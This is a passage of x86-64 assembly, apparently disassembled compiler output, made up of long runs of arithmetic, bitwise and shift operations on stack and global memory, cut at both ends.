mov rax, qword [0x140114460]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
and eax, ecx
mov byte [0x140113057], al
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0xb38], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x94c]
sub eax, ecx
mov word [rsp + 0xb10], ax
movzx eax, byte [rsp + 0xc2]
movzx ecx, byte [rsp + 0x8b]
add eax, ecx
mov rcx, qword [rsp + 0x6468]
mov byte [rcx], al
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov qword [rsp + 0x6568], rax
mov rax, qword [rsp + 0x51f0]
mov rcx, qword [rsp + 0x5eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x60c8]
mov qword [rcx], rax
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x6570], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x57f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53d0]
movzx eax, word [rax]
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x5e18]
movzx eax, word [rax]
mov rcx, qword [0x140114300]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14011305c], ax
mov rax, qword [rsp + 0x5420]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c30]
movsx eax, byte [rax]
movsx ecx, byte [0x14011301b]
sub eax, ecx
mov byte [rsp + 0x3b], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0x5f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2da4], eax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov qword [rsp + 0x6578], rax
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x5380]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5748], rax
mov rax, qword [rsp + 0x5358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5820]
mov qword [rsp + 0x6580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6580]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a20], eax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x6588], rax
mov rax, qword [0x140114240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa08]
shl eax, cl
mov word [0x14011304c], ax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x5450]
movzx eax, byte [rax]
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0xad8]
movzx ecx, word [rsp + 0x9d8]
and eax, ecx
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x5cc0]
mov ecx, dword [rsp + 0x2b30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b78], eax
lea rax, [0x140114160]
mov qword [rsp + 0x6590], rax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x6298]
mov eax, dword [rax]
mov dword [rsp + 0x2de8], eax
mov rax, qword [rsp + 0x5420]
movsx eax, byte [rax]
mov rcx, qword [0x140114238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5f48]
mov byte [rcx], al
lea rax, [rsp + 0x974]
mov qword [0x1401144b8], rax
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
movzx eax, word [rsp + 0x868]
mov word [rsp + 0xb40], ax
movsx eax, word [0x1401142e4]
mov rcx, qword [rsp + 0x5e20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb14], ax
lea rax, [rsp + 0xe3]
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x5b68]
mov ecx, dword [rsp + 0x2bd0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov dword [rcx], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x65a0], rax
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x5830]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5340]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b38]
mov ecx, dword [rsp + 0x2ca0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d2c], eax
movzx eax, word [rsp + 0xa8c]
movzx ecx, word [rsp + 0xb00]
add eax, ecx
mov word [0x140113084], ax
mov rax, qword [rsp + 0x5338]
movzx eax, word [rax]
mov word [rsp + 0xb44], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x38], al
lea rax, [rsp + 0x880]
mov qword [rsp + 0x65a8], rax
mov rax, qword [rsp + 0x5e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x65b0], rax
mov rax, qword [rsp + 0x5d90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ce4]
shl eax, cl
mov dword [rsp + 0x2ca4], eax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x65b8], rax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401130a0], ax
mov rax, qword [rsp + 0x6588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x5258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x9b4]
mov qword [rsp + 0x65c0], rax
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0x5f50]
mov qword [rsp + 0x65c8], rax
mov rax, qword [rsp + 0x5378]
mov ecx, dword [rsp + 0x2d58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b04], eax
lea rax, [rsp + 0x2d64]
mov qword [rsp + 0x65d0], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5748]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61d8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x32]
and eax, ecx
mov byte [0x14011305a], al
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov rcx, qword [rsp + 0x4f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xb48], ax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x4d], al
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x65d8], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4ec8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6498]
mov rcx, qword [rsp + 0x5168]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d9c], eax
mov eax, dword [rsp + 0x2b44]
mov dword [rsp + 0x2dec], eax
mov rax, qword [rsp + 0x60c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ff0]
mov qword [rsp + 0x65e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x65e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
xor eax, ecx
mov word [0x1401143e8], ax
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0xf6], al
mov rax, qword [0x1401141c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x53d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x6360]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x30], al
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x65e8], rax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x57d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x65d0]
mov eax, dword [rax]
mov dword [rsp + 0x2df0], eax
mov rax, qword [rsp + 0x4fe8]
mov rcx, qword [rsp + 0x64b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2da0], eax
mov rax, qword [rsp + 0x5988]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6528]
mov qword [rcx], rax
movzx eax, word [rsp + 0x9cc]
mov word [0x1401144c0], ax
lea rax, [rsp + 0xf2]
mov qword [rsp + 0x65f0], rax
movsx eax, byte [0x14011304e]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x908]
mov word [rsp + 0xb4c], ax
movsx eax, word [rsp + 0x8c8]
mov rcx, qword [rsp + 0x54b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa8], ax
lea rax, [0x140114150]
mov qword [rsp + 0x65f8], rax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x61f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x6178]
mov rcx, qword [rsp + 0x5aa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
lea rax, [rsp + 0x29d8]
mov qword [rsp + 0x6600], rax
mov rax, qword [rsp + 0x5d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113047], al
movzx eax, word [rsp + 0x980]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
mov rax, qword [0x140114310]
movzx eax, byte [rax]
mov byte [rsp + 0xf7], al
movzx eax, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x7d]
xor eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5cd8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4e], al
lea rax, [rsp + 0x6040]
mov qword [rsp + 0x6608], rax
mov rax, qword [rsp + 0x5380]
mov rcx, qword [rsp + 0x5800]
mov qword [rsp + 0x6610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6610]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5d58]
mov qword [rcx], rax
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x6618], rax
mov eax, dword [rsp + 0x2bc0]
mov ecx, dword [rsp + 0x2b9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5990]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
and eax, ecx
mov rcx, qword [0x1401142f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb14]
movsx ecx, word [0x140114210]
sub eax, ecx
mov word [rsp + 0x9e4], ax
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x6620], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, word [rsp + 0x974]
mov word [rsp + 0xb50], ax
mov rax, qword [rsp + 0x55f0]
mov ecx, dword [rsp + 0x2d14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x5500]
mov eax, dword [rax]
mov dword [rsp + 0x2df4], eax
mov rax, qword [rsp + 0x6368]
mov rcx, qword [rsp + 0x65c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5988], rax
mov rax, qword [rsp + 0x5c38]
mov rcx, qword [rsp + 0x53b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x55d0], rax
mov rax, qword [rsp + 0x65a8]
movzx eax, word [rax]
mov word [rsp + 0xb54], ax
lea rax, [rsp + 0x968]
mov qword [0x1401144c8], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
sub eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x6628], rax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0x3e]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x5500]
mov rcx, qword [rsp + 0x5958]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c1c], eax
mov rax, qword [rsp + 0x5158]
mov rax, qword [rax]
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x5bd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d08]
sar eax, cl
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6258]
mov rax, qword [rax]
mov qword [rsp + 0x6638], rax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x5d60]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5d98]
mov word [rcx], ax
movzx eax, word [rsp + 0x92c]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401130a4], ax
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6028]
mov byte [rcx], al
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x6640], rax
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a4]
sub eax, ecx
mov word [rsp + 0x910], ax
mov eax, dword [rsp + 0x2c28]
mov dword [rsp + 0x2df8], eax
mov rax, qword [rsp + 0x64f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60f8], rax
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x60a0], rax
lea rax, [rsp + 0x2b70]
mov qword [rsp + 0x6648], rax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0x9d8]
add eax, ecx
mov word [rsp + 0xa2c], ax
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
movzx ecx, byte [0x14011303e]
sub eax, ecx
mov byte [0x140114156], al
movzx eax, word [rsp + 0xa44]
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x5f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5328]
mov qword [rcx], rax
lea rax, [rsp + 0x2afc]
mov qword [rsp + 0x6650], rax
mov eax, dword [rsp + 0x2c74]
mov ecx, dword [rsp + 0x2bc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
lea rax, [rsp + 0xaa8]
mov qword [rsp + 0x6658], rax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [0x140113026]
add eax, ecx
mov rcx, qword [0x140114460]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd7]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x6198]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ac]
movzx ecx, word [rsp + 0xae0]
sar eax, cl
mov rcx, qword [rsp + 0x5058]
mov word [rcx], ax
mov rax, qword [rsp + 0x63d8]
movzx eax, word [rax]
mov word [rsp + 0xb5c], ax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
shl eax, cl
mov rcx, qword [rsp + 0x6628]
mov byte [rcx], al
lea rax, [rsp + 0x2de8]
mov qword [rsp + 0x6660], rax
mov rax, qword [rsp + 0x5918]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x6600]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
lea rax, [rsp + 0x6578]
mov qword [rsp + 0x6668], rax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0x978]
and eax, ecx
mov word [0x1401130a8], ax
movzx eax, word [rsp + 0x9e0]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8bc], ax
mov rax, qword [rsp + 0x6078]
movzx eax, byte [rax]
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5660]
mov byte [rcx], al
mov rax, qword [rsp + 0x6488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
and eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov qword [rsp + 0x6670], rax
mov rax, qword [rsp + 0x5728]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d5c], eax
mov rax, qword [rsp + 0x5650]
mov qword [rsp + 0x6678], rax
mov eax, dword [rsp + 0x2d60]
mov ecx, dword [rsp + 0x2cf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
movzx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114458]
mov word [rcx], ax
mov rax, qword [rsp + 0x5dd0]
movzx eax, word [rax]
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x61e8]
movzx eax, word [rax]
movzx ecx, word [0x140113050]
add eax, ecx
mov word [rsp + 0xb4c], ax
movsx eax, word [rsp + 0xac8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x53b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5bc0]
shl rax, cl
mov qword [rsp + 0x6238], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov dword [rsp + 0x2dfc], eax
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x51b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6340]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5938]
mov qword [rsp + 0x6680], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6680]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
lea rax, [rsp + 0x9c8]
mov qword [0x1401144d0], rax
movzx eax, word [rsp + 0x878]
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x65f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5230]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov byte [rcx], al
lea rax, [rsp + 0xd7]
mov qword [rsp + 0x6688], rax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov byte [rcx], al
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x64a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2da0]
mov dword [rsp + 0x2e00], eax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x5ab0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5218], rax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x6690], rax
movzx eax, byte [0x140114213]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113046], al
mov rax, qword [rsp + 0x63f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x5a68]
movzx eax, word [rax]
mov word [rsp + 0xb68], ax
movsx eax, byte [0x140114154]
mov rcx, qword [rsp + 0x5f20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79], al
movsx eax, word [rsp + 0xb14]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x2dec]
mov qword [rsp + 0x6698], rax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x54f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a08], rax
mov eax, dword [rsp + 0x2b5c]
mov dword [rsp + 0x2e04], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ac0], rax
lea rax, [rsp + 0x44]
mov qword [0x1401144d8], rax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0x954]
add eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0xfb], al
mov rax, qword [0x140114448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x65f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5bd0]
mov qword [rsp + 0x66a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5b18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2dfc]
mov ecx, dword [rsp + 0x29d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be4], eax
mov rax, qword [rsp + 0x6500]
mov rax, qword [rax]
mov qword [rsp + 0x66a8], rax
mov rax, qword [rsp + 0x4db8]
movzx ecx, al
mov rax, qword [rsp + 0x5db0]
shr rax, cl
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
movzx eax, byte [0x14011304b]
mov byte [0x140114222], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
and eax, ecx
mov word [rsp + 0x9ac], ax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [0x1401142e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x5fd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6320], rax
lea rax, [0x140113008]
mov qword [rsp + 0x66b0], rax
mov eax, dword [rsp + 0x2d18]
mov ecx, dword [rsp + 0x2c04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29d8]
mov dword [rsp + 0x2e08], eax
movzx eax, word [rsp + 0xa4c]
movzx ecx, word [0x140114308]
sub eax, ecx
mov word [0x140114370], ax
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5470]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
lea rax, [0x140114154]
mov qword [rsp + 0x66b8], rax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
lea rax, [rsp + 0x2de0]
mov qword [rsp + 0x66c0], rax
mov rax, qword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x52f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x66a8], rax
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x64a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5eb0], rax
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x2e0c], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x61d0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5a28]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401130ac], ax
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0xfd], al
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0xc1]
or eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x5fe8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x61a0]
mov qword [rsp + 0x66c8], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x5280]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cc0], eax
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
mov dword [rsp + 0x2e10], eax
mov rax, qword [rsp + 0x5998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6480]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5290], rax
lea rax, [rsp + 0x4d]
mov qword [rsp + 0x66d0], rax
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov word [0x140113010], ax
movsx eax, word [rsp + 0x840]
mov rcx, qword [0x140114270]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6458]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaf8], ax
movzx eax, word [rsp + 0x858]
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x51b0]
mov rcx, qword [rsp + 0x5870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c68], rax
mov rax, qword [rsp + 0x6560]
mov qword [rsp + 0x66d8], rax
mov rax, qword [rsp + 0x5680]
mov rcx, qword [rsp + 0x5c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5640]
mov rcx, qword [rsp + 0x5a40]
mov ecx, dword [rcx]
